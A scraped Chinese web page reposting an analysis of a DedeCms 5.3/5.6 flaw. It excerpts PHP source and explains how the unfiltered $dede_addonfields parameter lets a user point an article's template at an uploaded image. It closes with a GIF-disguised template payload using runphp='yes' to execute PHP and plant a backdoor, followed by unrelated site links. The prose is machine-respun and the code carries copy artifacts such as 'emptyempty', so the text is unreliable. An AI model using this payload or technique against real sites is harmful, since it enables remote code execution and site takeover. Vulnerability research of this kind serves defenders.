當前位置:工程項目OA系統(tǒng) > 泛普各地 > 江西OA系統(tǒng) > 鷹潭OA > 鷹潭網(wǎng)站建設(shè)公司
DedeCms 基于PHP+MySQL的技術(shù)開發(fā)
DEDECMS 5.3/5.6
縫隙描繪:
DedeCms 根據(jù)PHP+MySQL的技術(shù)開發(fā),撐持Windows、Linux、Unix等多種服務(wù)器平臺,從2004年開端發(fā)布第一個版別開端,至今曾經(jīng)發(fā)布了五個大版別。DedeCms以簡略、強健、靈敏、開源幾大特色占據(jù)了國內(nèi)CMS的大部份商場,當前曾經(jīng)有超越二十萬個站點正在運用DedeCms或居于 DedeCms中心,是當前國內(nèi)使用最廣泛的php類CMS體系。
article_add.php
	   1. ........................ 
	   2. else if($dopost=='save') 
	   3. { 
	   4. include(DEDEMEMBER.'/inc/archives_check.php'); 
	   5.  
	   6. //剖析處置附加表數(shù)據(jù) 
	   7. $inadd_f = $inadd_v = ''; 
	   8. if(!emptyempty($dede_addonfields)) 
	   9. { 
	  10.    $addonfields = explode(';',$dede_addonfields); 
	  11. ............................................ //省掉部份代碼 
	  12.      $inadd_f .= ','.$vs[0]; 
	  13.      $inadd_v .= " ,'".${$vs[0]}."' "; 
	  14.     } 
	  15.    } 
	  16. } 
	  17. .......................................... 
	  18. $addtable = trim($cInfos['addtable']); 
	  19. if(emptyempty($addtable)) 
	  20. { 
	  21.    ...................................... 
	  22. } 
	  23. else 
	  24. { 
	  25.    $inquery = "INSERT INTO `{$addtable}`(aid,typeid,userip,redirecturl,templet,body{$inadd_f}) Values('$arcID','$typeid','$userip','','','$body'{$inadd_v})"; 
	  26.    if(!$dsql->ExecuteNoneQuery($inquery)) 
	  27.    { 
	  28. .......................................... 
	  29.    } 
	  30. } 
	  31. .......................................... 
	  32. $artUrl = MakeArt($arcID,true);     //使用當?shù)?arc.archives.functions.php有界說) 
	  33.  
	  34.  
	  35. function MakeArt($aid,$ismakesign=false) 
	  36. { 
	  37. global $cfg_makeindex,$cfg_basedir,$cfg_templets_dir,$cfg_df_style; 
	  38. include_once(DEDEINC.'/arc.archives.class.php'); 
	  39. if($ismakesign) 
	  40. { 
	  41.    $envs['makesign'] = 'yes'; 
	  42. } 
	  43. $arc = new Archives($aid); 
	  44. $reurl = $arc->MakeHtml();           //arc.archives.class.php有界說 
	  45. ............................ 
	  46. } 
arc.archives.class.php
	   1. class Archives 
	   2. { 
	   3. ................ 
	   4. function __construct($aid) 
	   5. { 
	   6. ............ 
	   7.    if($this->ChannelUnit->ChannelInfos['addtable']!='') 
	   8.     { 
	   9.      $query = "SELECT * FROM `{$this->ChannelUnit->ChannelInfos['addtable']}` WHERE `aid` = '$aid'"; 
	  10.      $this->addTableRow = $this->dsql->GetOne($query); 
	  11.     } 
	  12. ........................ 
	  13. if($this->ChannelUnit->ChannelInfos['addtable']!='' && $this->ChannelUnit->ChannelInfos['issystem']!=-1) 
	  14.     { 
	  15.      if(is_array($this->addTableRow)) 
	  16.      { 
	  17.      ............................... 
	  18.       $this->Fields['templet'] = $this->addTableRow['templet'];//注重1 
	  19.      ...................................... 
	  20.      } 
	  21.     } 
	  22.     ............................. 
	  23. } 
	  24.  
	  25. function MakeHtml($isremote=0) 
	  26. { 
	  27.    global $cfg_remote_site,$fileFirst; 
	  28.    if($this->IsError) 
	  29.    { 
	  30.     return ''; 
	  31.    } 
	  32.    $this->Fields["displaytype"] = "st"; 
	  33.    //預(yù)編譯$th 
	  34.    $this->LoadTemplet();              //觸發(fā)1 
	  35.    
	  36. ......................................//省掉部份代碼 
	  37.      $this->ParseDMFields($i,1); 
	  38.    $this->dtp->SaveTo($truefilename); //觸發(fā)2 
	  39. ...................................... 
	  40. } 
	  41. 持續(xù)跟(觸發(fā)1)$this->LoadTemplet();        //arc.archives.class.php有界說 
	  42.  
	  43. function LoadTemplet() 
	  44. { 
	  45.    if($this->TempSource=='') 
	  46.    { 
	  47.     $tempfile = $this->GetTempletFile();                     //注重2 
	  48.     if(!file_exists($tempfile) || !is_file($tempfile)) 
	  49.     { 
	  50.      echo "文檔ID:{$this->Fields['id']} - {$this->TypeLink->TypeInfos['typename']} - {$this->Fields['title']}
	"; 
	  51.      echo "模板文件不存在,無法解析文檔!"; 
	  52.      exit(); 
	  53.     } 
	  54.     $this->dtp->LoadTemplate($tempfile);                  //觸發(fā)3 
	  55.     $this->TempSource = $this->dtp->SourceString; 
	  56.    } 
	  57.    else 
	  58.    { 
	  59.     $this->dtp->LoadSource($this->TempSource); 
	  60.    } 
	  61. } 
	  62.  
	  63. 看注重2 的$this->GetTempletFile()           //arc.archives.class.php有界說 
	  64.  
	  65. function GetTempletFile() 
	  66. { 
	  67.    global $cfg_basedir,$cfg_templets_dir,$cfg_df_style; 
	  68.    $cid = $this->ChannelUnit->ChannelInfos['nid']; 
	  69.    if(!emptyempty($this->Fields['templet']))                  //注重3 
	  70.    { 
	  71.     $filetag = MfTemplet($this->Fields['templet']); 
	  72.     if( !ereg('/', $filetag) ) $filetag = $GLOBALS['cfg_df_style'].'/'.$filetag; 
	  73.    } 
	  74.    else 
	  75.    { 
	  76.     $filetag = MfTemplet($this->TypeLink->TypeInfos["temparticle"]); 
	  77.    } 
	  78. ....................................... 
	  79.    if($cid=='spec') 
	  80.    { 
	  81.     if( !emptyempty($this->Fields['templet']) ) 
	  82.     { 
	  83.      $tmpfile = $cfg_basedir.$cfg_templets_dir.'/'.$filetag; 
	  84.     } 
	  85.     else 
	  86.     { 
	  87.      $tmpfile = $cfg_basedir.$cfg_templets_dir."/{$cfg_df_style}/article_spec.htm"; 
	  88.     } 
	  89.    } 
	  90. ........................................... 
	  91.      return $tmpfile; 
	  92. } 
	
	注重3中的值來自注重1是經(jīng)過查表得來的,操控了它就等于操控了恣意模板,然后經(jīng)過觸發(fā)3來觸發(fā)縫隙
	看下怎樣操控注重1的值
	article_edit.php
	   1. ...................... 
	   2. else if($dopost=='save') 
	   3. { .................... 
	   4. if(!emptyempty($dede_addonfields)) 
	   5. { 
	   6.    $addonfields = explode(';',$dede_addonfields); 
	   7.    if(is_array($addonfields)) 
	   8.    { 
	   9. ........................ 
	  10.              ${$vs[0]} = GetFieldValueA(${$vs[0]},$vs[1],$aid); 
	  11.      $inadd_f .= ','.$vs[0]." ='".${$vs[0]}."' "; 
	  12.      
	  13.    } 
	  14. } 
	  15. ................... 
	  16. if($addtable!='') 
	  17. { 
	  18.    $upQuery = "Update `$addtable` set typeid='$typeid',body='$body'{$inadd_f},userip='$userip' where aid='$aid' "; 
	  19.    if(!$dsql->ExecuteNoneQuery($upQuery)) 
	  20.    {.............. 
	  21.    } 
	  22. } 
	  23. .................... 
	  24. } 
	
	$dede_addonfields沒有過濾,咱們可以結(jié)構(gòu)$inadd_f為,templet='上傳的模板圖片地址',包括咱們的圖片后,再經(jīng)過觸發(fā)2來生成圖片里的后門!
- 
		本站供給順序(辦法)能夠帶有攻擊性,僅供安全研討與教育之用,危險自傲! Gif89a{dede:field name='toby57' runphp='yes'}- 
				phpinfo();- 
						{/dede:field}- 
								保存為1.gif- 
										- 
												1.
 
- 
												
 
- 
										
 
- 
								
 
- 
						
 
- 
				
- 1網(wǎng)站優(yōu)化企業(yè)的方法
- 2Asia-Pacific Economic Cooperation 工商咨詢理事會亞太中小企業(yè)峰會
- 3租賃網(wǎng)站功能介紹
- 4HTTPS(安全HTTP)和SSL/TLS(安全套接層/傳輸層安全)
- 5PHP函數(shù)代碼段
- 6大規(guī)模網(wǎng)站架構(gòu)
- 7輕型數(shù)據(jù)庫SQLite結(jié)合PHP的開發(fā)
- 8百度算法更新,為什么站被降權(quán)?
- 9萬網(wǎng)云服務(wù)器,優(yōu)惠啦!!!
- 10公司網(wǎng)站建成后應(yīng)該做些什么?
- 11企業(yè)網(wǎng)站排名要打造內(nèi)鏈
- 12企業(yè)建站要寫簡潔的代碼
- 13ecshop中jQuery沖突解決
- 14PHPUnit
- 15Zend2.0的MVC完整過程。
- 16PHP查詢字符串技巧
- 17JavaScript cookie詳解
- 18網(wǎng)貸平臺主要運營模式主要有兩類---債權(quán)轉(zhuǎn)讓模式
- 19Windows Azure 網(wǎng)站上運行 CakePHP
- 20企業(yè)為啥要權(quán)威的網(wǎng)站建設(shè)公司做官網(wǎng)呢?
- 21玩具租賃商城系統(tǒng)需求7
- 22網(wǎng)站制作絕對不可以犯的編程錯誤
- 23企業(yè)信息統(tǒng)計系統(tǒng)開發(fā)方案
- 24關(guān)于編碼最佳應(yīng)用實踐
- 25地方生活優(yōu)惠電子商務(wù)網(wǎng)站需求分析
- 26網(wǎng)站建設(shè)何以做到內(nèi)容豐富
- 27MySQL InnoDB之事務(wù)與鎖詳解
- 28玩具租賃商城系統(tǒng)需求3
- 29O2O已經(jīng)成為電子商務(wù)網(wǎng)站的下一個掘金點
- 30魅妝社區(qū)項目開發(fā)文檔
成都公司:成都市成華區(qū)建設(shè)南路160號1層9號
重慶公司:重慶市江北區(qū)紅旗河溝華創(chuàng)商務(wù)大廈18樓


